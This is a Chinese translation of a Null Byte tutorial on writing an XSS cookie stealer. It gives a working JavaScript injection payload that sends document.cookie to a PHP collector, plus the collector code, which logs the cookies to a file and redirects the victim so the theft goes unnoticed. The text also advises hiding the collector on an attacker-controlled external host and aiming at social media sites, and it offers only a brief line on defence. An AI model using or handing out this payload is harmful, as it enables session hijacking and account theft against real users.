手把手教你用JS寫XSS cookie stealer來竊取密碼
JavaScript是web中最常用的腳本開發語言,js可以自動執行站點組件,管理站點內容,在web業內實現其他有用的函數。JS可以有很多的函數可以用做惡意用途,包括竊取含有密碼等內容的用戶cookie。
Cookie是站點請求和保持特定訪問頁面的信息。Cookie含有訪問的方式、時間、用戶名密碼等認證信息等。當用戶訪問給定站點時,必須使用cookie;如果攻擊者可以攔截cookie,就可以利用cookie竊取用戶的一些信息。對某個特定的域名,使用JS可以保存或修改用戶的cookie。也就是說,如果攻擊者可以利用JS查看、修改cookie,那麼這可以變成一種有價值的黑客技術。
基於JS的攻擊可以有效地與代碼注入等技術相結合,這可能造成惡意代碼在可信的網站上執行。
下面開始創建XSS cookie stealer
Step 1: 創建 HTML Test 頁
首先,創建一個標準的HTML頁
mkdir cookiestealercd cookiestealertouch index.html
然後,編輯index.html
nano index.html<html><body></body></html>
測試頁面
Step 2: 創建Cookie
創建一個可以插入到cookie中的基本參數——字元串。這個cookie只能用於本頁面中,同樣的,之後的注入也應用於該頁面保存的所有cookie。
<script type="text/javascript">document.cookie = "username=Null Byte";</script>
該腳本要插入到HTML的<body>部分,如下:
如果運行該腳本的頁面打開了,那麼就會設定cookie,但是瀏覽器中不會顯示任何東西。我們可以用document.write函數直接查看cookie。
document.write(document.cookie);
同樣功能的腳本如下:
<script type="text/javascript"> document.cookie = "username=Null Byte"; document.write(document.cookie); </script>
在瀏覽器中打開頁面,就會出現如下的cookie信息:
說明我們成功地為這個頁面設置了"username=Null Byte" 的cookie。
Step 3: 用js腳本竊取Cookies
我們用來傳遞cookies到伺服器的js字元串使用了document.cookie參數,但是我們用的是document.location中定義的url。
document.location=http://127.0.0.1/cookiestealer.php?c=+document.cookie;
在本例中,PHP文件定位到localhost(127.0.0.1)。
如果目標是社交媒體網站,腳本需要注入到該站點中,竊取的cookies要發送給黑客控制的IP或URL。
把js代碼嚇到<script>標籤中:
<script type="text/javascript"> document.location=http://127.0.0.1/cookiestealer.php?c=+document.cookie; </script>
HTML頁面代碼應該是下面這樣:
剩下對cookie進行處理的部分需要PHP來處理。
Step 4: 用PHP處理Cookies
在上面的例子中,竊取cookie的PHP文件是cookiestealer.php,位於127.0.0.1網址下。
在實際運行中,不能用cookiestealer.php這麼明顯的名字,而且應該位於外部IP或URL下。
首先,在index.html相同目錄下創新PHP文件。
nano cookiestealer.php
第一個元素需要定義的是重定向頁面跳轉。
<?phpheader (Location:https://google.com);?>
為了不讓用戶意識到可能遭到攻擊,最好重定向用戶到相同域下的其他頁面,這樣用戶就不會意識到。
重定向完成後,需要其他代碼來處理cookie。
1. 分配cookie到一個變數;
$cookies = $_GET"c";
2. 定義保存cookie的文件,這個文件保存的位置應該是我們控制的。本例中,文件名為log.txt。
$file = fopen(log.txt, a);
3. 把上面的兩個參數的內容寫入log文件,即將cookie寫入log.txt。
fwrite($file, $cookies . "
");
代碼如下:
然後,需要準備PHP文件的測試環境。
Step 5: 測試Cookie Stealer
在index.html 和 cookiestealer.php相同目錄下,搭建一個測試用的PHP環境。
php -S 127.0.0.1:80
頁面測試成功。
打開頁面之後,瀏覽器會馬上重定向到預定義的網站,即Google。
查看PHP伺服器的日誌,我們注意到傳遞給php文件一個參數,而且php代碼執行了。
最後,我們可以檢查我們網站目錄下的log.txt文件來查看cookies。
cat log.txt
Log文件中含有cookie的內容,說明我們成功的使用js代碼竊取了cookies。
Step 6: 攻擊
Cookies含有重要的用戶信息,一般是明文的,有時甚至含有私鑰信息。所以非常重要,使用js代碼注入可以竊取用戶的cookies信息。
該攻擊可以注入到任何的HTML文件的<script>標籤中。常用的檢測XSS的方法是使用alert。
<script>alert("Alert");</script>
該腳本會嘗試打開類似下面的alert信息。如果打開了,說明網站易受到xss攻擊。
在現實的攻擊中,黑客會特別注意PHP文件的位置。如果處理得不好,php文件會容易暴露黑客的位置。如果這種攻擊出現了,那麼根據cookie被發送和保存的位置,可以追蹤黑客。
上面的方法說明了JS作為攻擊工具的強大性。JS可以讓web更方便 ,如果某個網站易受到惡意JS注入,這會給用戶和網站帶來巨大的安全威脅。預防XSS攻擊的重擔落在了web開發者的身上。如果用戶認為運行在網站上的腳本是不可信的,也可以使用NoScript來阻止js代碼的運行。
本文翻譯自:https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/,如若轉載,請註明原文地址: http://www.4hou.com/web/8527.html 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※為什麼電腦系統會奔潰?
※大俠方興之重出江湖|新銳
※SecWiki周刊(第134期)
※文件泄露
※iPhone 手機被鎖,如何快速解鎖?
TAG:信息安全 |